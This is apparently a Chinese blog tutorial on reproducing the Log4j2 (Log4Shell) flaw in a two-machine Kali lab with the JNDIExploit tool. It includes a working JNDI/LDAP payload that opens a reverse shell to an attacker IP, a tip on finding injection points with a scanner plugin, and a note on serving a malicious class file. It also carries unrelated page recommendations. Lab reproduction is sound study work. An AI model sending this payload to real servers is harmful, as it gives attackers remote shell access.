使用JNDIExploit-1.2-SNAPSHOT.jar复现log4j2详细流程

1.进入到改工具所在的目录,然后cmd打开命令行

查看一下帮助信息

-l 指定开启ladp服务的端口

-p 指定开启http服务的端口

-i 指定开启服务的ip,也就是攻击者的ip,也可以是黑客的公网服务器

因为这里的靶场是部署在kali当中的,所以我们用两台kali来演示,实测当中发现如果有一台用windos成功几率不大

攻击机 :192.168.75.134 靶机 :133

2.攻击流程

靶机开启nc监听 6666 端口

在靶机上启动 JNDIExploit-1.2-SNAPSHOT.jar

含义: 在本机开启ldap服务占用8888端口,同时开启http服务占用9999端口

poc:ldap://null:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supporte

实际构造:${jndi:ldap://192.168.75.134:8888/Basic/ReverseShell/192.168.75.134/6666}

把这段代码发给服务器当中存在log4j漏洞的点,然后让他去访问攻击机的ldap服务的8888端口,然后与攻击机的6666端口建立反弹shell。

这里的6666端口就是nc监听的端口

由于这里是使用工具封装好的指令,所以只需要给参数即可。

在构造好poc之后,就要寻找漏洞注入点了,并不是说只要使用了log4j这个框架的网站你去随便构造poc提交给服务器都会成功的,这里我使用了bp当中的一个log4j的扫描插件,在它提示有注入点的地方构造poc即可。插件叫log4j2scan,可以自己去下载导入

提交poc

虽然响应400,但是反弹shell成功了.

补充说明:

在完成这个复现的时候,我是分两次完成的,所以在文章前面我说的是使用8888开启ldap服务,但是在后半部分我在实际操作的时候用了默认的1389端口。大家复现的时候随便选择一个端口即可,但是要保证和poc当中的端口对应即可。

还有就是之所以这个实验做了两次,就是因为在这个实验当中,我第一次做的时候,由于这个复现是使用那个脚本,所以直接使用命令去开启http服务和ldap服务 ,但是我发现开启了http服务,但是没法访问到,我以为是环境的问题,就打算第二天再做。结果第二天还是不行,后来终于搞明白了,他这里使用工具开启http服务的指令,实际上并没有真正的开启http服务,只是做了一个端口监听,让靶机误以为开启了ldap服务和http服务。但是去访问的时候就会执行恶意poc,主要还是这个工具封装的问题,使得我们复现起来简单,但是实际上工具把很多的底层原理都给封装起来了,我们看不到。

如果是手工复现的话就是需要真正开启http服务和ldap服务,并且把我们编译好的class文件,放到我们的http服务上面,让靶机来下载。

相关推荐
天使day6 分钟前
Maven
java·maven
汇匠源9 分钟前
共享无人系统,从出行到生活全面覆盖
java·生活
小灰灰要减肥1 小时前
装饰者模式
java
张铁铁是个小胖子1 小时前
MyBatis学习
java·学习·mybatis
Yan.love2 小时前
开发场景中Java 集合的最佳选择
java·数据结构·链表
椰椰椰耶2 小时前
【文档搜索引擎】搜索模块的完整实现
java·搜索引擎
大G哥2 小时前
java提高正则处理效率
java·开发语言
智慧老师2 小时前
Spring基础分析13-Spring Security框架
java·后端·spring
lxyzcm3 小时前
C++23新特性解析:[[assume]]属性
java·c++·spring boot·c++23
V+zmm101343 小时前
基于微信小程序的乡村政务服务系统springboot+论文源码调试讲解
java·微信小程序·小程序·毕业设计·ssm